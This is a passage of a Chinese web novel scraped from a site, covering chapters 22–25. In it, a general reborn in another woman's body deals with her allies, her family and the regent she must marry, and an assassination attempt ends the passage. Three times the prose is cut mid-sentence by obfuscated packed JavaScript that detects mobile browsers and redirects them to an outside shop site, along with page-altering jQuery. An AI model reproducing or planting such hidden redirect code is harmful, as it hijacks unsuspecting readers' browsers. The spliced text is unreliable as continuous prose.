“下山的时候偷的师尊的。”楚无暇道:“先前一直得不到师姐与你的认可,唯恐犯些错误就被送回山上去。如今我为小姐办成了一件事情,这茶叶也就不惧拿出来了。” 叶袭宸笑道:“那我如今岂不是也算拿你一个把柄了。” 楚无暇摇头苦笑:“与你给我的相比,这实在算不得什么把柄。”他目光灼灼,神情正经了几分:“叶袭宸,如今我方知道你的胆大心细。看似你一直未曾信任于我,但当你将药包交付于我时,已经把身家性命全都托付在我身上了。” 叶袭宸勾唇:“你既是国师送来的人,我理应信任。” “先前你可不是如此说的。”楚无暇探究道:“叶袭宸,我十分好奇,你究竟是因何信任的我。” “用不着好奇。”叶袭宸平静道:“不过是在赌而已。” “赌?”楚无暇险些被呛到,他咳嗽了两声:“居然只是这样吗?” “不错。”叶袭宸冷笑一声道:“先前你曾经质问过我,为何对宋雪砚那么信任,以至于被她出卖,落得身首异处的下场。但其实,我是个疑心病极重的人。” 楚无暇啪地一声收了折扇道:“这一点的确不假。” “先前我对宋雪砚也没有那么信服,甚至是花疏玉,我也是疑心重重。但我这人有一个极大的缺点,只要熟络了之后,我便会毫无保留地信任,有什么说什么,绝对不会藏着掖着。” 楚无暇点了点头,托着腮笑看向叶袭宸:“若是这样的话,你日后会毫无保留地信任我了。” 叶袭宸本想说是,但存了成心逗弄他的心思,叹了一声,半真半假道:“自从出了宋雪砚的事情后,我应该好生反思一下自己了。即便熟络了,也要留个心眼。” “什么?”楚无暇佯装痛苦,低头拭泪:“这等好时候我怎么就没赶上呢?师尊误我,师尊误我啊。若是如师姐一般早几年下山,该是何等风光。” 叶袭宸苦涩地笑了一声:“你若是早几年下山,跟着我,恐怕早就死于非命了。” “此话怎讲?” “我从前的副将、部下,几乎全都战死了。”叶袭宸黯然神伤:“从前我的军中也有许多诸如沈星月的女子,但是现在她们全都死了。也有许多男子,他们也死了。” 楚无暇道:“师姐与我说过,往者不可追。” 叶袭宸哼道:“确是如此。但他们不该死于朝廷内斗。若要死,他们应该死在沙场,死在和北蛮人的厮杀里!” 见叶袭宸的情绪有些失控,楚无暇忙道:“我虽然无法理解你这种心情,但是我在这里等你可不是听你说这些的。” 叶袭宸笑了笑,将自己迅速从情绪中抽离出来:“我知道,你是来问那个太医的。” “是。”楚无暇道:“明明皇上是被下毒所害,她却说是发物所致。她也是你的人吗?” 叶袭宸挑眉:“关你何事?” “……” 楚无暇认命般地叹了一口气,“好吧。”顿了顿后正色道:“你只略微出手就让沈秋实身陷囵圄,沈府上下如今皆由你做主了。下一步该如何做?” 叶袭宸思忖片刻:“你且在外面耍上一耍,下月十四再来。” “下月十四?”楚无暇道:“那不是你与唐锶谐成婚的前一日?”指腹在扇柄上摩挲了几下:“莫非你要我带你逃婚?” 叶袭宸给了他一个白眼:“我若是逃婚,还用得着你?” 楚无暇轻微蹙眉:“难道你真要嫁与他?” “与你有关吗?” 楚无暇故意刺激道:“的确与我无关,不过我还是要说一句。那摄政王玉树临风,风度翩翩,与你倒甚是相配。” 叶袭宸抬眼,反将一军:“这话是真是假,你真是如此认为?” 22. 第 22 章 楚无暇点了下头,似是要坚定自己内心想法一般:“当真。” 叶袭宸正色道:“既然当真,你还问这些做什么?” 楚无暇甘拜下风,叹息一声:“看来今日我是得不到一个想要的答案了。” 叶袭宸却是笑了:“你想要什么答案,我现在就可以告诉你。” 屋内尚未点灯,天色已经日渐暗淡。从楚无暇这个角度看过去,只能看到叶袭宸一双亮灼灼的眸子。 楚无暇不由自主地眯了眯眼睛,想要将叶袭宸的神情看得仔细些,却还是无功而返。 楚无暇不信:“你叶袭宸当真如此迁就我?” 叶袭宸抿了抿唇角:“自我从沈道溦的这具身体里醒来,你是第一个叫出我真正名字的人。” 楚无暇不解:“你在乎这个?” “自然。”叶袭宸垂下眸子道:“此时此刻,我只是个卑劣的窃贼。我不仅窃取了她的身体,还窃取了她的朋友,日后恐怕还会窃取更多。” “但是如果不是你,她的一辈子也就如此了。” 不成想楚无暇也有一日沦落至需要安慰别人的地步,要安慰的人居然还是那个人人都谈之色变的叶袭宸。 若不是此时此刻她的神情如此真切,他倒是要怀疑这副模样是不是特意装出来的了。想来是沈道溦是她的朋友,若是换个人,她应该也就不会如此这般。 楚无暇斟酌着言辞:“是你,延续着她的生命,重新为沈道溦这个名字赋予了新的意义。” “我明白。”叶袭宸道:“但人都是自私的,我其实很想告诉天下人,我叶袭宸没死!” 楚无暇蹙眉看着。 “但我不能!”叶袭宸紧紧捏着茶杯:“为了活命,我不得不龟缩在她人的身体里,苟且偷生!” 楚无暇沉默良久,起身离开。 叶袭宸只是笑笑,并没有在意。她将茶杯往前一推,伏倒在桌上。 人总是贪心的。 能够重生已经是老天开恩了,现在活着的每一日都是白捡的,但是如果能选择的话,她真的很想回到花疏玉去和亲之前,若是能阻止的话,之后的一切都会有个不一样的结局。 脸颊贴着冰凉的桌子,两滴眼泪从她的眼角滑落。 她闭了闭眼睛,眼角湿润。眩晕感阵阵袭来,眼皮也有些许沉重。正要陷入昏睡之际,轻微的脚步声打断了她的浅眠。 叶袭宸抬头,却见楚无暇不知何时已经去而复返。折扇被插在后脖领上,手里提着一坛子酒。清凉的月色洒在他的身上,使得本就姣好的面容愈加细腻柔滑,宛若谪仙降临一般。 “我觉得你现在应该需要这个。” 楚无暇将酒坛子放在桌子上。 “我还道你不会回来了。”叶袭宸揩去眼泪,故作轻松地笑了笑:“原来是去为我讨酒了。” 楚无暇拿了两个碗出来,倒了酒。 叶袭宸仰起脖子一饮而尽。 楚无暇再倒,叶袭宸又是一饮而尽。 如此反复多次,一直喝到叶袭宸醉倒在桌上。手臂软弱无力地搭在桌沿上,绯红的侧脸对向屋外,口中还在呢喃着要酒来喝。 楚无暇叹了一口气,解下自己的外衣披在叶袭宸的身上。若云和长辞从外面回来,见自家主子不省人事,着急万分。 若云扑到叶袭宸身上:“主子这是怎么了?” “多了。”楚无暇淡道:“喝多了。” “什么?我立马叫人去煮醒酒汤。” 若云急匆匆走了,屋内只留下长辞与楚无暇二人。 楚无暇饶有趣味地打量着这个少年,眉头轻挑:“你是沈小姐新挑进来的?从前是做什么的?” 长辞绷着脸:“养马的。” 楚无暇仔细打量了下,笑意盈盈:“看你眉宇之间颇有贵气,感觉不像个养马的。” 长辞抬眼:“你若是不信,大可去马厩问上一问。” “我去问他们作甚?”楚无暇往前走了一步,凑近长辞:“我问的是进沈府之前,你是做什么的。” 长辞奇怪地看了他一眼:“你这人好生奇怪,打听这些做什么?” “无他,好奇而已。” 长辞平静道:“入府前我是个小乞丐,是被若云姐姐捡回来的。” 说话间,若云已经端着醒酒汤进来了,好说歹说哄着叶袭宸喝下去一些。 “酒……我要喝酒……”叶袭宸刚清醒一些便要去拿酒坛子。 “楚公子,快把酒坛子拿走,别让主子瞧见了。” 楚无暇不解:“她要喝酒,让她喝就是,何必阻拦?” “酒大伤身。”若云气道:“主子的身子才养好一些,怎么能如此没有节制?” “……这倒也是。”楚无暇拿折扇敲了敲自己的脑袋,笑嘻嘻道:“一时忘记了,望若云姑娘恕罪。” 若云没好气道:“什么时候了,还在这里嬉皮笑脸的。” 楚无暇一想也是,便抱着酒坛子跳墙离开了。长辞看他消失在夜色里,“若云姐姐,他……他是何人?身手竟如此之好?” “一个花言巧语的浪子。” 若云将叶袭宸扶着进了内室。叶袭宸的脑袋刚一沾到枕头,就迫不及待地要起来:“酒……喝酒……阿玉,快来喝……” 若云垂着眸子整理衾被。 叶袭宸朦朦胧胧地睁开眼睛,见是若云,面色红润,眉开眼笑:“若云……快去把阿宸、阿玉还有阿砚都叫来……我们要不醉不归!” “主子。”若云无奈道:“日后您还是离酒坛子远一些吧,身子好不容易才养好些,可别糟践了。” 叶袭宸没有回答她,因为她已经抱着枕头睡熟了。若云叹了一口气,仔细掖好被子后也没有回去,唯恐叶袭宸夜里吐了,便一直守在床边,守着守着就支着脑袋睡熟了。 翌日叶袭宸醒来时,若云已经打来了水,服侍她洗漱。 叶袭宸看了看她道:“你去睡会儿吧,看你眼下都青黑了。” 若云摇头:“奴婢要守着主子。” “守着作甚?”叶袭宸笑了笑:“我又不会跑了。” “再有二十天主子就要和摄政王成婚了。”若云欲言又止:“主子……” 叶袭宸明白了,“原来你是因为这个。”她捏了捏若云的脸颊:“昨天你还在担心我会在洞房花烛夜动手,怎么今天又在担心我会跑了?” “我……我也不知。”若云不自在地挠了挠脸颊。 “安了。”叶袭宸笑了笑:“我不跑,也不会在洞房花烛夜动手。我会安安分分地嫁给摄政王,然后与之相伴一生。” 这话说出来鬼都不信。 若云半信半疑:“主子说的可是真的?” “自然。”叶袭宸道:“我如今不是孤身一人,我还有你和长辞。若是有半分行差踏错,岂不是要连累你们?” 这话倒是真的。 “主子……”若云抱住叶袭宸,嘤嘤地哭了起来。 泪水浸湿了叶袭宸肩膀上的衣服。 “好了。”叶袭宸拍了拍若云的后背,安慰道:“莫要担心了。” “主子……”若云松开叶袭宸,抽抽搭搭道:“主子不知道,昨夜二小姐屋里的丫头和小厮全都被老爷处死了。老爷说都是他们没有看管好二小姐,才让二小姐闯下这大祸。” 叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939184|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袭宸皱眉:“那沈秋实房里的人呢?” “丫头和小厮也全都处死了,但是大少爷先前还招募了一些幕僚……” “那些幕僚呢?” 若云低下头:“奴婢……奴婢不敢说。” 叶袭宸冷哼一声:“我明白了,他们在商议着如何把沈秋实从死牢里劫出来是不是。” 若云抬头大惊:“主子怎么知道的?” 叶袭宸讥嘲地笑了:“就是那些幕僚给沈秋实出的馊主意要海错的,沈奉那个老东西居然还敢听他们的,属实是病急乱投医了,也不怕劫狱不成,沈府反遭灭门。” 若云担心道:“主子,到时我们该怎么办呢?” “哼,到时就看摄政王了。他若是想保我们,我们自然安然无恙。他若是不想保,那我们只能逃出沈府,浪迹天涯了。” “主子,要不我们现在就逃吧。”若云紧张地凑近叶袭宸:“我们再也不要管这里的是非恩怨了。” “若云,你以为逃走了就能万事大吉了吗?”叶袭宸道:“这只是下策,是迫不得已的选择。” “可是主子……” “若云。”叶袭宸郑重其事道:“信我,即便我有什么不测,也会安顿好你和长辞的,至少性命无忧。” “不,主子,倘若真有那么一天,我陪着主子一起死。” 叶袭宸欣慰地笑了笑:“有你这句话,我也不会盲目涉险的。好了,去睡觉吧。” 若云含着泪点头离开了。 叶袭宸出了屋门,见长辞已经在墙根倒立了。她摘了根草,在长辞的面前蹲下,戳他的鼻孔。 长辞接连打了好几个喷嚏,讨饶道:“主子饶了小的吧。” 叶袭宸只是笑:“饶你可以,不过你得告诉我,你入府前是做什么的。” 长辞道:“小的入府前就是个穷酸乞丐。” “做乞丐之前呢?” “应是个纨绔少爷,吃喝不愁。但是因为得罪了仇家,一家老小全都被灭了门。” “哪个仇家这么狠?” “是个红衣妖女。” 叶袭宸皱眉:“妖女?” “那个妖女一把火烧了我的家,我躲在狗洞里才有幸躲过一劫。” “你父母是谁,家在何方,又是几年前被灭的门?” “不记得了。” “不记得了?” “小的逃出来时掉进了河里,摔到了脑袋。父母是谁,妖女是谁,什么模样,家在何方,全都忘记了。” “那刚才所说都是瞎编的吗?” “是小的梦中所见。” “梦?” 长辞道:“有个算命老先生给小的算过命,解过梦。” “那个算命先生莫不是骗取钱财的?” 长辞摇头:“当时小的还是乞丐,身无分文,无钱财给他。” “你还记得那个算命先生是何模样,如今身在何处吗?” “他在两年前就死了。” “两年前?” 长辞道:“两年前摄政王率军攻入帝京,他在街上晃悠,被当成乱党乱刀砍死了。” 叶袭宸叹息一声:“可惜。” “主子,您和楚公子为何都对我的身世感兴趣?” “好奇而已。”叶袭宸站起身来。 长辞从墙上下来,拍掉手上的灰尘:“可是我的身世不是为了满足你们的好奇心的。” 说出这话后长辞就后悔了,他本以为叶袭宸会生气,心底已经做好了受罚的准备,不成想叶袭宸只是盯了他半晌,然后微微勾唇,摸了摸他的脑袋:“说得是,日后不会再问你了,免得勾起你的伤心事。” 23. 第 23 章 沈奉的院子里围着一群人模狗样的幕僚,叽叽喳喳地出主意。 “卑职认为大少爷应该在牢中安分守己,好生反省。” “你的意思是要大少爷坐以待毙?” “皇上性子软弱,再者不知者无罪,皇上应该会从轻发落。” “天家威严深不可测,万一皇上醒来立即把大少爷斩了呢?” “卑职认为宰辅应该豢养一批死士,将大少爷捞出来。” “小少爷年幼无知,几个小姐不堪大用,大少爷乃是沈府的顶梁柱,不可轻言放弃。” “大少爷犯下如此祸患,某些人应当引以为戒,净出些馊主意。” “说得什么话,这都什么时候了,大少爷的安危才是最重要的!” “马后炮谁都会说,秋后算账也为时不晚。” 沈奉神色阴沉地坐在上首,耳朵听得都快起了茧子。视线扫过那些口若悬河的幕僚,越发觉得沈秋实简直是不堪大用。什么渣滓都能招进府来,好吃好喝地招待着,出的主意都是什么乱七八槽的。 视野中出现了一抹紫色,沈奉定睛看去,原来是叶袭宸,也不知道在院门口站了多久。 沈奉的眼珠子转了转,招了招手:“道溦,你过来。” 叶袭宸施施然过去,坐在那些幕僚中间。幕僚们纷纷起身行礼:“我等见过沈小姐。” “你们继续。”叶袭宸往下压了压手,“别因为我来了就拘束了。” 一堆男人里混进来一个女子,尴尬的本该是女子才是。然而叶袭宸却是泰然自若,搞得那些幕僚们都有些不自在。 其中一名幕僚鼓起勇气:“沈小姐可否向摄政王求求情,将大少爷放出来?” 叶袭宸冷哼:“你该不会以为摄政王是个儿女情长的人吧。若是如此,你的见识也太浅薄了些。” 那个幕僚闭了嘴巴,又有另外一位幕僚跳出来:“话不是这么说的,小姐与摄政王感情深厚。下月十五就要完婚,到时沈府与摄政王已经结成了姻亲。沈府损失了大少爷,难道不也是摄政王的损失吗?” 叶袭宸回击道:“这话你要是敢站在摄政王面前说,我敬佩你是条汉子。” “……” 每当一个幕僚被叶袭宸怼得坐下,就会有另外一个幕僚站起来,然后再被怼下去。如此反复多次后,沈奉早已气得火冒三丈,他直接掀翻了桌子:“沈府养你们这群人到底有何用!” 幕僚们吓得纷纷跪在地上,个个瑟瑟发抖。唯有叶袭宸神色不改地坐在座位上,仔细品着茶。 如果她没有记错的话,这茶叶似是花疏玉赏给沈府的。味道醇香敦厚,齿颊留香。就在她品茶的时候,沈奉已经打发走了那些幕僚,至于是砍头还是只是单纯撵出去,就不得而知了。 “果真没有法子救出秋实了吗?” 沈奉本来是满头白发,如今一夜过去,险些掉成了秃子。满是沧桑的脸上又多了几道沟壑,硬挺的身子也变得有些佝偻。 叶袭宸叹道:“没有法子了。我来到此处就是想告诉父亲一声,沈府上下百十余口的性命全都捏在父亲手里,倘若铤而走险,不管救出兄长与否,沈府都会被降罪。除却兄长,父亲还有个小儿子,切记这一点。” 沈奉如遭雷击。 “言尽于此。” 叶袭宸喝完最后一盏茶后离开。她没有回暖雪阁,而是径直来到了沈府门口。外面有摄政王的侍卫看着,严守禁令,沈府上下所有人不得进出。 但见是叶袭宸,他们还是去请示了唐锶谐。唐锶谐直接骑着马过来了,依旧还是一袭青衣,如一株修竹一般。骑的还是一匹白马,就是他在沙场上厮杀时一直骑的那匹。 帝京里姑娘小姐都喜欢他这样的,模样英俊,神情温润。再加上他脸上那副银白色面具,更添一份儿神秘感。 唐锶谐向叶袭宸伸出手,叶袭宸抬头:“摄政王,我可以自己骑马。” 唐锶谐讪讪地收回了手,跳下马来,淡淡道:“你若是能驯服我这匹马,我就让你自己骑马。” “一言为定。” 两人来到了沈府的马场。 叶袭宸利落地爬上了马。 好马都是认主的,而且越好的马性子越烈。 叶袭宸刚爬上去,白马就立即躁动起来,拼命想把叶袭宸甩下来。她死死地抓紧缰绳,在小臂上接连缠了好几道。白马高高地跃起前蹄,叶袭宸放低身子伏在马背上,抱紧马脖子。 不知道折腾了多少个时辰,白马才逐渐安静下来。叶袭宸却依旧不肯放松警惕,果不其然白马又开始疾驰。铺天盖地的灰尘扑面而来,叶袭宸闭了眼睛。马背上颠簸得厉害,缰绳在她葱白的小臂上勒出道道伤痕,以至于渗出血来。红白相见,越发显得触目惊心。 触及此处,唐锶谐眉头紧皱,但没有出手制止。 马蹄哒哒地响着,一声长长的嘶鸣后,白马终于安分了下来。鼻子里冒出灼热的白气,前蹄在地面上画着圈。叶袭宸坐起身子,扯动缰绳。白马顺从地在地上走了几步,她在马屁股上拍了一下,白马疾驰起来。叶袭宸扯紧了缰绳,白马停了下来。 叶袭宸从马上跳下来,“如何?” 唐锶谐看着她垂在身侧的小臂,伤痕累累,鲜血顺着滑下来。眼底闪过一丝心疼,他情不自禁地执起她的手,声音很淡。 “何必如此拼命?” 叶袭宸扯了扯唇角。 装什么深情? 她只觉得被唐锶谐触摸过的地方有些发毛,便抽回了手,但是却拍了一下马屁:“只是看摄政王在马上意气风发,心生羡慕而已。” 唐锶谐抿了下唇角,叫人拿来药箱,亲自给叶袭宸上药。先是用湿帕子轻微地擦掉她手臂上的血迹,然后指头沾了些冰凉的药膏,轻轻涂抹着伤口。 叶袭宸心底阵阵发毛,只觉得唐锶谐手里涂抹的不是药膏,而是毒药,是刀片。她索性将脚踩在长凳上,手肘撑在膝盖上,托着腮,将视线放向别处。 这等不雅的姿势让唐锶谐的眉头跳了几下。他涂抹好药膏后,细细用白色的纱布将她的手臂缠绕起来。手触及到的肌肤不再如以往般滑腻,而是多了几分紧实。 “好了。” 叶袭宸如释重负地将手臂抽出来,“多谢摄政王。” 唐锶谐收拾着药箱:“还未问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16945994|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,你要出沈府是想去哪儿?” “想去看望一下星月。” 唐锶谐的动作顿了下:“可以,我带你去。” “不用麻烦摄政王了,我自己可以去。” 唐锶谐叹了口气:“道溦,我们之间有必要这么客气吗?还有十来天我们就要成亲了。” “非也。”叶袭宸道:“只是皇上最近昏迷不醒,朝堂上的事情还需摄政王操心,实在不敢麻烦。” 唐锶谐苦笑一声:“就算皇上醒着,朝堂上的事情也还是得我操心。” 叶袭宸困惑地眨了几下眼睛。 唐锶谐解释道:“皇上性子顽劣,经常溜出去玩。” “辛苦摄政王了。” “所以,”唐锶谐双手背在身后:“不用担心会耽误我的时间。” 叶袭宸叹气道:“那就麻烦摄政王了。” “日后可以不叫我摄政王吗?”唐锶谐无奈道:“听起来别别扭扭的,私下里我们就你我相称吧。” “好吧,那就麻烦你了。” 唐锶谐的眉眼染上些许笑意:“坐马车还是骑马?” “坐马车。” 叶袭宸不是逞强的人,如今手臂伤成这样了,骑马肯定是不行了。 “行,我找人来安排。” 不多时,一辆马车便停在了沈府的门口。叶袭宸和唐锶谐上了马车,车内只有他们两个人,叶袭宸不想和唐锶谐大眼瞪小眼,便挑开帘子看着外面的景象。 “你似乎在躲避着我。” 得寸进尺。 现在忍着没有对你下手,已经是极限了。 叶袭宸回过头来,微微一笑:“你想多了。” 唐锶谐也不想绕弯子了:“既然如此,你为何不敢看我?” 叶袭宸对上唐锶谐的眼睛:“何以见得?” 唐锶谐勾唇:“昨日皇上赐婚的时候,你是一个不字也没有说,但是今日我想知道,你是真心的吗?” “何谓真心?”叶袭宸道:“我已经不是过去的沈道溦了,如果花疏玉或是叶袭宸没死的话,我还可以入朝为官。即便一生不嫁也无可厚非,但现在的我除了嫁人还有什么别的法子吗?既然要嫁人,我总得好好挑上一挑。挑来挑去,只有你深得我心,故而我是愿意嫁给你的。但其中有多少真心,就不得而知了。” 唐锶谐面色变了几变,最终无可奈何地叹了一口气:“太过直白的话会伤人心的。” 叶袭宸微微一笑。 唐锶谐倏然间道:“你现在还能想起废太子吗?” “花疏玟?” 又是这个名字,这个人横亘在唐锶谐和沈道溦之间。唐锶谐是个迂腐的人,又过于忠诚,爱上了自家太子的未婚妻却不敢言说。此时此刻,他却主动提起来,看起来是终于肯承认了。 说起来花疏玟这个人盛名在外,但是她却没有见过。早在她和花疏玉认识之前,这个人就已经死了。若不是因此,花疏玉也不会带着花疏叶离开帝京大老远地跑到江南去躲避风头。 这个人是个隐患。 沈道溦和唐锶谐都对花疏玟熟悉至极,若是露了馅可就毁了。 24. 第 24 章 牢房内,沈星月被铁链子锁在墙上。她披散着头发,低垂着脑袋。白净的脸上满是脏污,干涸的唇角渗出血迹。 牢房被人从外面打开,沈星月抬起头来,见叶袭宸从外面进来,冷冷地哼了一声:“你来做什么?” 叶袭宸不做废话:“我来看看你。” “看我?”沈星月轻嗤一声:“我们没有这么熟。” 叶袭宸从怀里掏出帕子,走近了沈星月,仔细地替她擦干净脸上的血污。沈星月愣了一愣,眼底闪过一丝疑惑,干裂的唇角不由得抿紧了。 “你这是做什么?” 叶袭宸叹了一口气:“你这又是何苦呢?” 沈星月哼了一声,语气没有方才那么冲了:“你只会风花雪月,根本不会理解什么叫做士为知己者死。” “叶袭宸只是指点了你几句而已。”叶袭宸心思复杂道:“值得你如此不顾后果也要为之报仇吗?你可想过日后自己的处境?” 沈星月十分清醒:“你若是想帮我,就帮助我逃出去,而不是在这里指责我。” “就算我能让你走出这里,你如此毛躁,日后还是难成大事。” 沈星月似是明白了几分:“你的意思是……” “我的意思是好女不吃眼前亏。即便你昨日得手了,也不过只是获得了复仇的快感。我们应该把目光放长远些,不仅要报仇雪恨,而且还要拿回属于自己的东西,回到原本属于自己的位置。” 沈星月上下打量了叶袭宸一眼,眼神里透着古怪。 明明沈道溦还是那个沈道溦,为什么给她的感觉有些不一样了呢。 她扯动唇角,轻蔑地笑了一声:“你该不会真把自己当做叶袭宸了吧,还教训上我了。人贵有自知之明,即便你学会了叶袭宸的气质,但是也学不来她的能力,少自作聪明了。” 叶袭宸摸了摸鼻尖:“对事不对人,难道我方才说的没有道理吗?” “你只是在为你的不作为找借口而已。”沈星月道:“她才不是贪恋权势之人,她只是想为自己的姐妹讨回一个公道。” “那只是你不了解她而已。”叶袭宸叹息道:“或许一开始她的确只是想讨回一个公道,但是当真正坐上那个位置的时候,一切事情都有些身不由己了。” 沈星月嘲弄地勾了勾唇角:“你不是她,你怎么知道她是这么想的?你分明是在抹黑她!” 叶袭宸笑了:“你觉得贪恋权势是个污点吗?” 沈星月被问得一噎。 “如今这个世道,即便你不贪恋权势,也要有权势,否则你会举步维艰。比如现在,如果你有权势,你大可以说是与摄政王切磋拳脚,摄政王即便再动怒也不敢明目张胆地将你关进牢房里。” 叶袭宸叹了一口气:“如今若想要你走出牢房,只能豁出去我这张老脸去赌一赌摄政王的色令智昏了。” 叶袭宸摇了摇头,正要离开却被沈星月叫住:“你果真要为了我做到这种地步?下月十五你和他就要成婚了,若是你开口求他,日后在他面前可就抬不起头来了。” 沈星月的声音低了下来:“以前你不是最向往与自己的夫婿相敬如宾,举案齐眉的生活吗?” “这些与你的性命相比,算不得什么。”叶袭宸微微一笑。 “可是……可是就算你去求他,他也不会同意怎么办?那你岂不是白白舍了面子?” 叶袭宸是有自己的考量的。 他若是不同意,日后就有借口对他冷脸了,省得他瞎琢磨为何先前对他情根深种的人变成了如今这般模样。 但这话不能对沈星月说,她只道:“总归要试上一试。” 沈星月眼眶微红:“长姐。” 两行清泪从脸颊上滑下来,叶袭宸抬手为她揩去泪水,温声道:“如果这次你能走出这里,我们姐妹可否回到从前?” 沈星月破涕为笑:“那你可得练好身子,否则我真怕把你磕着碰着了,你又要来找我算账。” 叶袭宸勾住了沈星月被铁链锁着的手上的小拇指:“一言为定。” “刚才忘记问了,你手上的伤是……” 叶袭宸不在乎地捏了捏手臂上的纱布:“没什么,方才去降服一匹马的时候伤到了。” 沈星月瞪大双眼:“先前你稍微有些磕碰我们都如临大敌,如今你居然为了一匹马把自己弄成这样。” “无妨。”叶袭宸笑了笑:“总要磕碰一下,才能知道原来自己也不并非那么柔弱。” 沈星月会心一笑:“如今的你果真与先前不一样了。” “人都是会变的。”叶袭宸故意道:“或许以后你会发现我还有很多与先前不一样的地方。” 沈星月调皮道:“那我拭目以待。” 两人轻松的话语顿时将牢房内阴暗潮湿的环境变得无足轻重,仿佛他们面临的不是生死问题,而只是单纯在谈论明日吃什么而已。 唐锶谐在牢房外等待着,见叶袭宸出来,声音很轻:“她可有为难你?” 叶袭宸忍不住发笑:“她如今是阶下囚,如何能为难得了我?”顿了顿道:“我有一事想求你。” “你是想让我放过沈星月?”唐锶谐点了点头:“可以。” 叶袭宸大喜过望,但随即皱起了眉头:“这事儿居然这么容易?”她思忖片刻后开口:“你是不是有什么附加条件?” 唐锶谐脸上露出些许赞许的神色:“知我者,道溦也。” “什么条件?” “废掉沈星月的武功,且日后她不得重新习武。”唐锶谐补充道:“此举是为她考虑,倘若日后她再惹出什么乱子,我可再难保住她。” 叶袭宸不语,沉默良久后开口:“你是怕她成为下一个叶袭宸吧。”她嘲讽地笑了一声:“仅仅只是出了一个叶袭宸而已,就让你们这群男子如此忌惮?” “道溦。”唐锶谐郑重道:“我丝毫不否认这点,但是我不仅仅是为了江山社稷考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948841|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虑,也是为了你们沈府考虑。” “哦?你有如此好心?” 唐锶谐丝毫不在意叶袭宸话语里的嘲讽,仍旧道:“沈府已经出了一个沈秋实了,这是无法挽回的事情,仅仅只是无心之失而已,故而才只治他的罪。但若是沈星月如叶袭宸一般……” 顿了顿道:“叶袭宸的下场你也看到了,但她是一人吃饱,全家不饿。即便叶府被满门抄斩,也不过都是些下人而已,但沈府可不仅仅只是沈星月而已。” 叶袭宸苦笑一声:“从未有一刻觉得孤身一人也是好处多多。的确,叶袭宸举目无亲,若不是碰巧遇到下江南躲难的花疏玉,她这一生也就做个草寇了。” 唐锶谐不语。 叶袭宸思虑再三:“我答应你。” 唐锶谐道:“不进去再去问下沈星月的意见?” 叶袭宸嘲道:“还有得选吗?难道还能选择丢了性命不成?”她看着唐锶谐,反问了一句:“这不就是你的打算吗?” 唐锶谐不说话,似是默认了,良久后才开口:“倘若日后发现她习武,两罪并罚。” 叶袭宸冷哼一声:“放心,我会好生看管她。”说完后,她便上了马车。 回去的路上,叶袭宸一直在闭目养神,无视身旁的唐锶谐。然周身萦绕的那股子灼热气息,却始终挥散不去。 本以为会一直这样到沈府,不成想却横生变故。马车正在疾驰中,一道不合时宜的急促破空声却倏然间传入叶袭宸的耳朵,她募然间睁开双眸,依据经验判断,似是钩锁射出的声音。紧接着什么东西砸在了头顶上,随即马车四分五裂! 叶袭宸扑向唐锶谐,抱着他翻滚了几圈,一直撞到街边的小摊才堪堪停下。她站起身来,街道两旁的行人吓得四散逃离,环顾四周,几个黑衣人气势汹汹地站在周遭的屋顶上。 唐锶谐已经拔剑出来,谢有缘和林有分护卫在叶袭宸身旁。 谢有缘大吼一声:“你们究竟是何人,光天化日之下居然敢对摄政王下手,你们究竟有几个胆子!” “要的就是摄政王的命!” 几个黑衣人纷纷跳下来,不由分说地刺向唐锶谐。到底是战场上厮杀出来的,面对几个人也毫不吃力,甚至说是游刃有余。 叶袭宸扶额。 大白天的搞刺杀也就算了,怎么身手和武功还如此之差。这些黑衣人不过五六人,却已经有两个命丧唐锶谐之手。而街道的尽头,已经有官兵闻讯赶来。 眼见这群人就要被消灭干净,叶袭宸转了转眼珠子,对谢有缘和林有分道:“你们两个去帮摄政王,速战速决。” “是!” 两个侍卫不加思考地就傻乎乎去了。而其中一个黑衣人自知不敌,又见叶袭宸落了单,便破釜沉舟地攻向她。 叶袭宸心道还不算太笨,她佯装吓得不轻,轻而易举地就被那个黑衣人挟持了。黑衣人将刀横在她的脖前,怒吼道:“都给我别动,否则我就杀了她!” 25. 第 25 章 此话一出,所有人都停了下来。但动作晚了,除了挟持叶袭宸的黑衣人,其余都被杀死了。官兵们也围了上来,唐锶谐将剑插入鞘内,双手负在身后,周身未沾染丝毫血腥,脸上不见半点儿慌乱:“放下武器投降,本王还能赏你个全尸。” “哼,你当我是吓大的!”黑衣人恶狠狠道:“你们都给我让开!否则我就杀了她!” 几个官兵向唐锶谐靠拢,听候他的指示。唐锶谐面色不善地看着黑衣人,冷冷地笑了一声:“就算我给你让出路来,你能跑得了吗?” 